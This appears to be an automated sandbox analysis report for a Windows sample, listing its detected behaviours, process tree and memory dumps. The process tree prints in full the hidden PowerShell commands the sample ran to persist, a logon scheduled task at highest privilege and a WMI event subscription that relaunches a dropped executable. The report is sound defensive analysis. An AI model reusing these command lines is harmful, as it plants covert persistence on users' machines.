Analysis
- max time kernel
149s - max time network
135s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
23/04/2026, 18:40
General
- Target test-windows-amd64.exe
- Size 24.2MB
- Sample260423-xbe89aev4m
- SHA256 74600e0bb2d0d7597b5383575f30076a8204d66c0491f2650fd84935f5648c2e
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Drops startup file 2 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test-windows-amd64.exe"C:\Users\Admin\AppData\Local\Temp\test-windows-amd64.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'bbg881here_b0385c73' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'bbg881here_b0385c73' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'bbg881here_fb0385c73'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'bbg881here_cb0385c73'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='bbg881here_fb0385c73'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='bbg881here_cb0385c73'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ykavevqd.it2.ps1
agent-264659867.tmp
memory/2404-15-0x00007FF4AF9E0000-0x00007FF4AF9F0000-memory.dmp
memory/2404-46-0x000001F3D04A0000-0x000001F3D04AC000-memory.dmp
memory/2404-22-0x000001F3E8C50000-0x000001F3E8C6C000-memory.dmp
memory/2404-23-0x000001F3E8F30000-0x000001F3E8FE3000-memory.dmp
memory/2404-26-0x000001F3E8C70000-0x000001F3E8C7A000-memory.dmp
memory/2404-27-0x000001F3E8CA0000-0x000001F3E8CBC000-memory.dmp
memory/2404-42-0x000001F3D04B0000-0x000001F3D04C0000-memory.dmp
memory/2404-45-0x000001F3CE9E0000-0x000001F3CEB8C000-memory.dmp
memory/2404-47-0x000001F3D0560000-0x000001F3D0572000-memory.dmp
memory/2404-7-0x000001F3D04B0000-0x000001F3D04C0000-memory.dmp
memory/2404-14-0x000001F3E8BB0000-0x000001F3E8BD2000-memory.dmp
memory/2404-6-0x000001F3D04B0000-0x000001F3D04C0000-memory.dmp
memory/3288-67-0x00007FF6158B0000-0x00007FF6191B9000-memory.dmp
memory/3288-68-0x0000029B72070000-0x0000029B7211E000-memory.dmp
memory/3452-64-0x000001C1567C0000-0x000001C15696C000-memory.dmp
memory/3452-65-0x000001C158530000-0x000001C15853C000-memory.dmp
memory/3452-66-0x000001C1708D0000-0x000001C1708E2000-memory.dmp
memory/4160-70-0x00000237CD7B0000-0x00000237CD85E000-memory.dmp
memory/4160-69-0x00007FF7080C0000-0x00007FF70B9C9000-memory.dmp
memory/4160-73-0x00007FF7080C0000-0x00007FF70B9C9000-memory.dmp
memory/4160-75-0x00007FF7080C0000-0x00007FF70B9C9000-memory.dmp
memory/4160-79-0x00007FF7080C0000-0x00007FF70B9C9000-memory.dmp
memory/4160-83-0x00007FF7080C0000-0x00007FF70B9C9000-memory.dmp
memory/4160-87-0x00007FF7080C0000-0x00007FF70B9C9000-memory.dmp
memory/4160-91-0x00007FF7080C0000-0x00007FF70B9C9000-memory.dmp
memory/4160-95-0x00007FF7080C0000-0x00007FF70B9C9000-memory.dmp
memory/5048-54-0x00000287CBA60000-0x00000287CBA6C000-memory.dmp
memory/5048-53-0x00000287C9CA0000-0x00000287C9E4C000-memory.dmp
memory/5048-55-0x00000287CBB10000-0x00000287CBB22000-memory.dmp